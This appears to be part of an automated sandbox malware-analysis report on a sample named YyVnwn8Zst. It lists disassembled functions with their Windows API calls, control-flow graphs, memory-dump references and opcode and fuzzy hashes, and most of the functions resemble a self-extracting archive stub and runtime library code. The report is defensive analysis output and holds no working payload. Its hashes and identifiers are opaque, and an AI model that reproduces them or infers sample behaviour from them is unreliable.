                • SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00BDC939
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: EnvironmentVariable
                • String ID: sfxcmd$sfxpar
                • API String ID: 1431749950-3493335439
                • Opcode ID: e70936401a58b8afe70e66c13641ff0abf3edb8204fbbdde6e722145a2e34bbe
                • Instruction ID: cc09749bc359064a605154e559fbe24a7a5cbc4e042b4876a2609e008236f5c0
                • Opcode Fuzzy Hash: e70936401a58b8afe70e66c13641ff0abf3edb8204fbbdde6e722145a2e34bbe
                • Instruction Fuzzy Hash: D8F08272401225A6C7212F94DC1AEBAFBE9DF08B41B0000E6BD8957252EA658940C6A1
                Function 00BC96E2 Relevance: 6.1, APIs: 4, Instructions: 57fileCOMMON
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 1015 bc96e2-bc96ee 1016 bc96fb-bc9712 ReadFile 1015->1016 1017 bc96f0-bc96f8 GetStdHandle 1015->1017 1018 bc976e 1016->1018 1019 bc9714-bc971d call bc97e9 1016->1019 1017->1016 1020 bc9771-bc9776 1018->1020 1023 bc971f-bc9727 1019->1023 1024 bc9736-bc973a 1019->1024 1023->1024 1025 bc9729 1023->1025 1026 bc973c-bc9745 GetLastError 1024->1026 1027 bc974b-bc974f 1024->1027 1028 bc972a-bc9734 call bc96e2 1025->1028 1026->1027 1029 bc9747-bc9749 1026->1029 1030 bc9769-bc976c 1027->1030 1031 bc9751-bc9759 1027->1031 1028->1020 1029->1020 1030->1020 1031->1030 1033 bc975b-bc9764 GetLastError 1031->1033 1033->1030 1035 bc9766-bc9767 1033->1035 1035->1028
                APIs
                • GetStdHandle.KERNEL32(000000F6), ref: 00BC96F2
                • ReadFile.KERNELBASE(?,?,00000001,?,00000000), ref: 00BC970A
                • GetLastError.KERNEL32 ref: 00BC973C
                • GetLastError.KERNEL32 ref: 00BC975B
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: ErrorLast$FileHandleRead
                • String ID:
                • API String ID: 2244327787-0
                • Opcode ID: 9085c11d6fba16a981630856d9c3a66dcf0282a7fcef2b93a7b3d9b13574e42d
                • Instruction ID: 173d2500cbf33ed7288aa22ad3115e04dd0a336609b744bd348172ca4a54c221
                • Opcode Fuzzy Hash: 9085c11d6fba16a981630856d9c3a66dcf0282a7fcef2b93a7b3d9b13574e42d
                • Instruction Fuzzy Hash: D8115735A21204EBEB209F618988F7A77E9EB05361F1085AFF82A86190DB348D40DF51
                Function 00BE9A87 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                Download Yara Rule

                Control-flow Graph

                • Executed
                • Not Executed
                control_flow_graph 1036 be9a87-be9a9b 1037 be9a9d-be9aa6 1036->1037 1038 be9aa8-be9ac3 LoadLibraryExW 1036->1038 1039 be9aff-be9b01 1037->1039 1040 be9aec-be9af2 1038->1040 1041 be9ac5-be9ace GetLastError 1038->1041 1042 be9afb 1040->1042 1043 be9af4-be9af5 FreeLibrary 1040->1043 1044 be9add 1041->1044 1045 be9ad0-be9adb LoadLibraryExW 1041->1045 1046 be9afd-be9afe 1042->1046 1043->1042 1047 be9adf-be9ae1 1044->1047 1045->1047 1046->1039 1047->1040 1048 be9ae3-be9aea 1047->1048 1048->1046
                APIs
                • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00BE2E6F,00000000,00000000,?,00BE9A2E,00BE2E6F,00000000,00000000,00000000,?,00BE9C2B,00000006,FlsSetValue), ref: 00BE9AB9
                • GetLastError.KERNEL32(?,00BE9A2E,00BE2E6F,00000000,00000000,00000000,?,00BE9C2B,00000006,FlsSetValue,00BF6058,00BF6060,00000000,00000364,?,00BE8643), ref: 00BE9AC5
                • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00BE9A2E,00BE2E6F,00000000,00000000,00000000,?,00BE9C2B,00000006,FlsSetValue,00BF6058,00BF6060,00000000), ref: 00BE9AD3
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: LibraryLoad$ErrorLast
                • String ID:
                • API String ID: 3177248105-0
                • Opcode ID: dd7b734d38b5b98cf1f5f79e6e6a98fa062026f79fb9ed8e34b97fdcfc2d73bb
                • Instruction ID: 72e1a4daf0abbd72f3ff41754f2ccaba000d438636211c1a18d9608f57edd0c9
                • Opcode Fuzzy Hash: dd7b734d38b5b98cf1f5f79e6e6a98fa062026f79fb9ed8e34b97fdcfc2d73bb
                • Instruction Fuzzy Hash: A501A732611667ABC7218B7ADC84A6777DCEF05B617211671F906E7140DF30ED05C6E0
                Function 00BDA3FB Relevance: 6.0, APIs: 4, Instructions: 30windowCOMMON
                Download Yara Rule
                APIs
                • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00BDA40C
                • KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 00BDA41D
                • TranslateMessage.USER32(?), ref: 00BDA427
                • DispatchMessageW.USER32(?), ref: 00BDA431
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Message$CallbackDispatchDispatcherPeekTranslateUser
                • String ID:
                • API String ID: 1533324876-0
                • Opcode ID: 1188d93a812acb89f7d7b836a054f57466290795faa05ef2b6c02250b3226787
                • Instruction ID: 3760e81c24eb39b4cebeb19aad278a25c33383ed8a0ef666f8d2d6d410abd67e
                • Opcode Fuzzy Hash: 1188d93a812acb89f7d7b836a054f57466290795faa05ef2b6c02250b3226787
                • Instruction Fuzzy Hash: 43E07D72D0212EA78B20ABE6AC4CDEF7F6DEE062A17404551B51ED3110EA689505CBF1
                Function 00BC9CD8 Relevance: 4.6, APIs: 3, Instructions: 96fileCOMMON
                Download Yara Rule
                APIs
                • GetStdHandle.KERNEL32(000000F5,?,?,00BCC9A7,00000001,?,?,?,00000000,00BD4B67,?,?,?,?,?,00BD460C), ref: 00BC9CF3
                • WriteFile.KERNEL32(?,00000000,?,00BD4814,00000000,?,?,00000000,00BD4B67,?,?,?,?,?,00BD460C,?), ref: 00BC9D33
                • WriteFile.KERNELBASE(?,00000000,?,00BD4814,00000000,?,00000001,?,?,00BCC9A7,00000001,?,?,?,00000000,00BD4B67), ref: 00BC9D60
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: FileWrite$Handle
                • String ID:
                • API String ID: 4209713984-0
                • Opcode ID: 291b95cb338f549c293d578155eb30dde0fba625720c862a3ee932a8b6cf7ac7
                • Instruction ID: 64b7358c47f51428f70f669cd524401584eb2e86a0e27102940a732a0d04f698
                • Opcode Fuzzy Hash: 291b95cb338f549c293d578155eb30dde0fba625720c862a3ee932a8b6cf7ac7
                • Instruction Fuzzy Hash: A8312772204605AFEB248F24D84CF66B7E8FB50700F10816DF556A35D0CB74E948CBA1
                Function 00BC9F96 Relevance: 4.6, APIs: 3, Instructions: 56COMMON
                Download Yara Rule
                APIs
                • CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,00BC9EA2,?,00000001,00000000,?,?), ref: 00BC9FBD
                • CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,00BC9EA2,?,00000001,00000000,?,?), ref: 00BC9FF0
                • GetLastError.KERNEL32(?,?,?,?,00BC9EA2,?,00000001,00000000,?,?), ref: 00BCA00D
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: CreateDirectory$ErrorLast
                • String ID:
                • API String ID: 2485089472-0
                • Opcode ID: 8d94c669e55c589ecd1a74ac027a1e342f9dbc5268461d356b02241bad17923f
                • Instruction ID: fca515629ddd1fd963cdce8a1557e8552571c62503e5bb132205b52c054d739d
                • Opcode Fuzzy Hash: 8d94c669e55c589ecd1a74ac027a1e342f9dbc5268461d356b02241bad17923f
                • Instruction Fuzzy Hash: 1601923110025865EB329B744C5AFFE73DCEF0A785F0444CDF942E6080DB649940C6A6
                Function 00BC3AAF Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 176COMMON
                Download Yara Rule
                APIs
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID: CMT
                • API String ID: 3519838083-2756464174
                • Opcode ID: 33706b452b63024f4f47beb73a92527bbb4825a7863313778dd249737491399a
                • Instruction ID: 4dedb75347d0f9575276942a2dbacb258eca521ca6695822a8f33071e1c26aa9
                • Opcode Fuzzy Hash: 33706b452b63024f4f47beb73a92527bbb4825a7863313778dd249737491399a
                • Instruction Fuzzy Hash: 8C71A071504F44AADB25DB74CC91FE7F7E8EB14702F8489AEE1AB87142D6326A48CF50
                Function 00BEA579 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                Download Yara Rule
                APIs
                • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 00BEA59E
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Info
                • String ID:
                • API String ID: 1807457897-3916222277
                • Opcode ID: 8fd2c8a767c0ed8230d17f21dd007b5596cfc0c714d884aef8e0b18a2557ec24
                • Instruction ID: 7074304e3c09d3a679f9498594eae198ba946ee8c770c6d402c8e45697a695c7
                • Opcode Fuzzy Hash: 8fd2c8a767c0ed8230d17f21dd007b5596cfc0c714d884aef8e0b18a2557ec24
                • Instruction Fuzzy Hash: D341F9705043C89EDB228E268C84BF6BBEDEB56308F1844EDE59A87142D335BA45DF61
                Function 00BC1DB1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 76COMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC1DB6
                  • Part of subcall function 00BC3AAF: __EH_prolog.LIBCMT ref: 00BC3AB4
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID: CMT
                • API String ID: 3519838083-2756464174
                • Opcode ID: 17b9cc1ee4ab5a98eefa4439433f3e3ead1c30ac733751fe79a08fbcef0f1e96
                • Instruction ID: 4a6ff485b9dbdea761feadf5ee6e39fda1ec18df2f0399a2c68c6090b210855c
                • Opcode Fuzzy Hash: 17b9cc1ee4ab5a98eefa4439433f3e3ead1c30ac733751fe79a08fbcef0f1e96
                • Instruction Fuzzy Hash: E9211C759041099ECB15EF98D951EEEFBF6EF59300B1008AEE845B7252D7325E50CB60
                Function 00BC190B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66COMMON
                Download Yara Rule
                APIs
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: H_prolog
                • String ID: CMT
                • API String ID: 3519838083-2756464174
                • Opcode ID: 9ea9a45d1c3a862b7b0f6a667fb58da03501701fc0779a53d7150a49e71dbd8d
                • Instruction ID: 5ba9b62787a8c4a695a615cf8c2cf3ec4c2b2aa630afd9b8ed382e3366827103
                • Opcode Fuzzy Hash: 9ea9a45d1c3a862b7b0f6a667fb58da03501701fc0779a53d7150a49e71dbd8d
                • Instruction Fuzzy Hash: A011D270B01205EFDB04DF28C494EBEF7EAEF86300B04449EE805A7243DB719856CBA1
                Function 00BE9CBF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                Download Yara Rule
                APIs
                • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,47E85006,00000001,?,000000FF), ref: 00BE9D30
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: String
                • String ID: LCMapStringEx
                • API String ID: 2568140703-3893581201
                • Opcode ID: b70fa88a065ea64f53a70964b8d3903dd3500a810af9e41cdf1f73615e4f4360
                • Instruction ID: cf8a0a742cea6a9c4c42568856764ee8a97d0f81cd631623649342d96d7e0ce6
                • Opcode Fuzzy Hash: b70fa88a065ea64f53a70964b8d3903dd3500a810af9e41cdf1f73615e4f4360
                • Instruction Fuzzy Hash: 2801E53254021DBBCF12AFA2DC02DEE7FA6EF08760F144194FE1466161CB728935EB90
                Function 00BE9C5D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON
                Download Yara Rule
                APIs
                • InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00BE92EC), ref: 00BE9CA8
                Strings
                • InitializeCriticalSectionEx, xrefs: 00BE9C78
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: CountCriticalInitializeSectionSpin
                • String ID: InitializeCriticalSectionEx
                • API String ID: 2593887523-3084827643
                • Opcode ID: 2487950fc1f8e7585336597e930705c22769d8977a3c23006ad2e79e6fb1df7e
                • Instruction ID: bc941f7ba2a0ad96b5cae5c72d02d010c998ebbd1fa508c2988ce4d62db0b6c7
                • Opcode Fuzzy Hash: 2487950fc1f8e7585336597e930705c22769d8977a3c23006ad2e79e6fb1df7e
                • Instruction Fuzzy Hash: 7FF0BE31A4121CBBCB156F62CD02CBE7FE1EB08720B1140A5FE095B260CF728E14EB90
                Function 00BE9B02 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                Download Yara Rule
                APIs
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: Alloc
                • String ID: FlsAlloc
                • API String ID: 2773662609-671089009
                • Opcode ID: 3356adc42a4705050ddcae02bdb75ff8fe9b38c0e77be3558382b691c000ab85
                • Instruction ID: e8a96b1bbd674730df88b81503c9be86a0b9014896394d9cbb71f2798d98d1a6
                • Opcode Fuzzy Hash: 3356adc42a4705050ddcae02bdb75ff8fe9b38c0e77be3558382b691c000ab85
                • Instruction Fuzzy Hash: 6EE0E531A4121CA786216B729C42D7EBBE4DB15710B0000D9FD0667250DE709E05D6D9
                Function 00BE2877 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                Download Yara Rule
                APIs
                • try_get_function.LIBVCRUNTIME ref: 00BE288C
                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: try_get_function
                • String ID: FlsAlloc
                • API String ID: 2742660187-671089009
                • Opcode ID: f2306f0a67b20b8cd91cdfc9e6388fb66b4a26b76c0f0da364d26e95c4f13348
                • Instruction ID: 5c537bcebc984be50fca300cbeed5ead46a08013175ce515ce9b9e849b092100
                • Opcode Fuzzy Hash: f2306f0a67b20b8cd91cdfc9e6388fb66b4a26b76c0f0da364d26e95c4f13348
                • Instruction Fuzzy Hash: 8DD05B3178532C77951033D55C029BBBAD9DB01BB1F0500F1FF1C67251DB55595581D9
                Function 00BEA8CE Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                Download Yara Rule
                APIs
                  • Part of subcall function 00BEA4A1: GetOEMCP.KERNEL32(00000000,?,?,00BEA72A,?), ref: 00BEA4CC
                • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00BEA76F,?,00000000), ref: 00BEA942
                • GetCPInfo.KERNEL32(00000000,00BEA76F,?,?,?,00BEA76F,?,00000000), ref: 00BEA955
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
                • Snapshot File: hcaresult_0_2_bc0000_YyVnwn8Zst.jbxd
                Similarity
                • API ID: CodeInfoPageValid
                • String ID:
                • API String ID: 546120528-0
                • Opcode ID: 164c79aaceafe109fcaee66a7b1a60fe2fc270472d153002b922e9b3e01792c7
                • Instruction ID: 949bae3f24b257fc4566759e4798545e26bd3e396e8b39be5fb4f8af9a9b752f
                • Opcode Fuzzy Hash: 164c79aaceafe109fcaee66a7b1a60fe2fc270472d153002b922e9b3e01792c7
                • Instruction Fuzzy Hash: 605126749003859EDB20DF76C8856BABBEDEF41300F1580AED0968B252D739B945CB92
                Function 00BC1373 Relevance: 3.1, APIs: 2, Instructions: 96COMMON
                Download Yara Rule
                APIs
                • __EH_prolog.LIBCMT ref: 00BC1373
                  • Part of subcall function 00BC5FC6: __EH_prolog.LIBCMT ref: 00BC5FCB
                  • Part of subcall function 00BCC567: __EH_prolog.LIBCMT ref: 00BCC56C
                  • Part of subcall function 00BCC567: new.LIBCMT ref: 00BCC5AF
                  • Part of subcall function 00BCC567: new.LIBCMT ref: 00BCC5D3
                • new.LIBCMT ref: 00BC13EB
                  • Part of subcall function 00BCADBF: __EH_prolog.LIBCMT ref: 00BCADC4
                Memory Dump Source
                • Source File: 00000000.00000002.2125519220.0000000000BC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BC0000, based on PE: true
                • Associated: 00000000.00000002.2125474990.0000000000BC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125544070.0000000000BF2000.00000002.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000BFD000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C04000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125560163.0000000000C20000.00000004.00000001.01000000.00000003.sdmpDownload File
                • Associated: 00000000.00000002.2125644304.0000000000C21000.00000002.00000001.01000000.00000003.sdmpDownload File
                Joe Sandbox IDA Plugin
